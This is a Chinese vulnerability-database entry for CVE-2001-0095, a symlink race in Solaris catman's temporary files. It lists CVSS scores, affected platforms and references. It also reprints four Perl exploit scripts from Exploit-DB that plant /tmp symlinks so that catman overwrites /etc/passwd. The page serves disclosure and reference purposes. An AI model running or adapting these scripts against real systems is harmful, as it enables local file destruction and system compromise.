CVE-2001-0095
CVSS1.2
发布时间 :2001-02-12 00:00:00
修订时间 :2008-09-05 16:23:15
NMCOE    

[原文]catman in Solaris 2.7 and 2.8 allows local users to overwrite arbitrary files via a symlink attack on the sman_PID temporary file.


[CNNVD]Solaris catman覆盖文件漏洞(CNNVD-200102-018)

        Solaris 2.7和2.8版本的catman存在漏洞。本地用户可以借助sman_PID临时文件的符号链接攻击覆盖任意文件。

- CVSS (基础分值)

CVSS分值: 1.2 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:2.7
cpe:/o:sun:solaris:2.8

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0095
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0095
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200102-018
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5788.php
(VENDOR_ADVISORY)  XF  solaris-catman-symlink(5788)
http://archives.neohapsis.com/archives/bugtraq/2000-12/0313.html
(VENDOR_ADVISORY)  BUGTRAQ  20001218 Catman file clobbering vulnerability Solaris 2.x
http://www.osvdb.org/6024
(UNKNOWN)  OSVDB  6024

- 漏洞信息

Solaris catman覆盖文件漏洞
低危 未知
2001-02-12 00:00:00 2005-05-02 00:00:00
本地  
        Solaris 2.7和2.8版本的catman存在漏洞。本地用户可以借助sman_PID临时文件的符号链接攻击覆盖任意文件。

- 公告与补丁

        

- 漏洞信息 (233)

Solaris 2.7 / 2.8 Catman - Local Insecure tmp Symlink Exploit (EDBID:233)
windows dos
2000-12-19 Verified
0 Shane Hird
N/A [点击下载]
#!/usr/local/bin/perl -w 
#
# The problem is catman creates files in /tmp insecurly.
# They are based on the PID of the catman process,
# catman will happily clobber any files that are
# symlinked to that file. The idea of this script is to
# create a block of symlinks to the target file with
# the current PID  as a starting point.  Depending on
# what load your system has this creates 1000 files in
# /tmp as sman_$currentpid + 1000.
#
# The drawback is you would have to know around when root
# would be executing catman. A better solution would be
# to monitor for the catman process and create the link
# before catman creates the file.  I think this is a
# really small window however. This worked on a patched
# Solaris 2.7 box (August 2000 patch cluster)
#
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd"; #file to clobber
$X=getpgrp();
$Xc=$X; #Constant
$Y=$X+1000;#Constant

while($X < $Y) {
  print "Linking /tmp/sman_$X to $clobber :"; 
  # Change $clobber to what you want to clobber.
  if (symlink ($clobber, "/tmp/sman_$X")) {
    print "Sucess\n";
  }
  else { print "failed, Busy system?\n";}
  $X=$X+1;
}

#watch /tmp and see if catman is executed in time.
while(1){
  $list = "/usr/bin/ls -l /tmp | grep sman|grep root |";
  open (list,$list) or "die cant open ls...\n";
  while(<list>) {
    @args = split "_",$_;
    chop ($args[1]);
    if ($args[1] >= $Xc && $args[1] <= $Y){
      print "Looks like pid $args[1] is the winner\n cleaning....\n"; 
      `/usr/bin/rm -f /tmp/sman*`;
      exit(1);
    }
  }
}


# milw0rm.com [2000-12-19]
		

- 漏洞信息 (235)

SunOS 5.7 Catman - Local Insecure tmp Symlink Clobber Exploit (EDBID:235)
solaris dos
2000-12-20 Verified
0 lwc
N/A [点击下载]
#!/usr/local/bin/perl -w 
#
# The problem is catman creates files in /tmp
# insecurly. They are based on the PID of the
# catman process, catman will happily clobber
# any files that  are symlinked to that file.
# The idea of this  script  is  to  watch the
# process  list  for  the catman process, get
# the pid and Create a symlink in /tmp to our
# file to be clobbered.  This exploit depends
# on  system  speed  and  process  load. This
# worked on a patched Solaris 2.7 box (August
# 2000 patch cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u
# sparc SUNW,Ultra-1 lwc@vapid.betteros.org
# 11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd";
while(1) {
  open ps,"ps -ef | grep -v grep |grep -v PID |";
  while(<ps>) {
    @args = split " ", $_;
    if (/catman/) { 
      print "Symlinking sman_$args[1] to  $clobber\n";
      symlink($clobber,"/tmp/sman_$args[1]");
      exit(1);
    }
  }
}


# milw0rm.com [2000-12-20]
		

- 漏洞信息 (20520)

Solaris 2.x/7.0/8 catman Race Condition Vulnerability (1) (EDBID:20520)
solaris local
2000-11-21 Verified
0 Vapid Labs
N/A [点击下载]
source: http://www.securityfocus.com/bid/2149/info

catman is a utility for creating preformatted man pages, distributed as part of the Solaris Operating Environment. A problem exists which could allow local users to overwrite or corrupt files owned by other users.

The problem occurs in the creation of temporary files by the catman program. Upon execution, catman creates files in the /tmp directory using the file name sman_<pid>, where pid is the Process ID of the running catman process. The creation of a symbolic link from /tmp/sman_<pid> to a file owned and writable by the user executing catman will result in the file being overwritten, or in the case of a system file, corrupted. This makes it possible for a user with malicious intent to overwrite or corrupt files owned by other users, and potentially overwrite or corrupt system files. The Sun BugID for this issue is 4392144. 

#!/usr/local/bin/perl -w 
# The problem is catman creates files in /tmp insecurly. They are based on the 
# PID of the catman process,  catman will happily clobber any files that are 
# symlinked to that file.
# The idea of this script is to create a block of symlinks to the target file 
# with the current PID  as a starting point.  Depending on what load your
# system has this creates 1000 files in /tmp as sman_$currentpid + 1000.
# The drawback is you would have to know around when root would be executing 
# catman. 
# A better solution would be to monitor for the catman process and create the 
# link before catman creates the file.  I think this is a really small window 
# however. This worked on a patched Solaris 2.7 box (August 2000 patch
# cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd"; #file to clobber
$X=getpgrp();
$Xc=$X; #Constant
$Y=$X+1000;#Constant

while($X < $Y) {

print "Linking /tmp/sman_$X to $clobber :"; 
# Change $clobber to what you want to clobber.
if (symlink ($clobber, "/tmp/sman_$X")) {
        print "Sucess\n";
}
        else { print "failed, Busy system?\n";}
$X=$X+1;
}


#Watch /tmp and see if catman is executed in time.

while(1)  {

$list = "/usr/bin/ls -l /tmp | grep sman|grep root |";

open (list,$list) or "die cant open ls...\n";

while(<list>) {
        @args = split "_",$_;
        chop ($args[1]);
    if ($args[1] >= $Xc && $args[1] <= $Y){
                print "Looks like pid $args[1] is the winner\n cleaning....\n"; 
                `/usr/bin/rm -f /tmp/sman*`;
                exit(1);
    }
  }
}

		

- 漏洞信息 (20521)

Solaris 2.x/7.0/8 catman Race Condition Vulnerability (2) (EDBID:20521)
solaris local
2000-11-21 Verified
0 Vapid Labs
N/A [点击下载]
source: http://www.securityfocus.com/bid/2149/info
 
catman is a utility for creating preformatted man pages, distributed as part of the Solaris Operating Environment. A problem exists which could allow local users to overwrite or corrupt files owned by other users.
 
The problem occurs in the creation of temporary files by the catman program. Upon execution, catman creates files in the /tmp directory using the file name sman_<pid>, where pid is the Process ID of the running catman process. The creation of a symbolic link from /tmp/sman_<pid> to a file owned and writable by the user executing catman will result in the file being overwritten, or in the case of a system file, corrupted. This makes it possible for a user with malicious intent to overwrite or corrupt files owned by other users, and potentially overwrite or corrupt system files. The Sun BugID for this issue is 4392144. 

#!/usr/local/bin/perl -w 
# The problem is catman creates files in /tmp insecurly. They are based on the PID of the catman
# process,  catman will happily clobber any files that are symlinked to that file.
# The idea of this script is to watch the process list for the catman process, 
# get the pid and Create a symlink in /tmp to our file to be
# clobbered.  This exploit depends on system speed and process load.   
# This worked on a patched Solaris 2.7 box (August 2000 patch cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org



$clobber = "/etc/pass";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/catman/) { 
        print "Symlinking sman_$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/sman_$args[1]");
        exit(1);
   }
 }

}


		

- 漏洞信息

6024
Solaris catman Temporary File Prediction Symlink Arbitrary File Overwrite
Local Access Required Race Condition
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

The catman utility contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is due to the program creating insecure temporary files with predictable names, allowing for symlink attacks. This flaw may lead to a loss of confidentiality and/or integrity.

- 时间线

2000-12-21 Unknow
2000-12-21 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Sun Microsystems has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站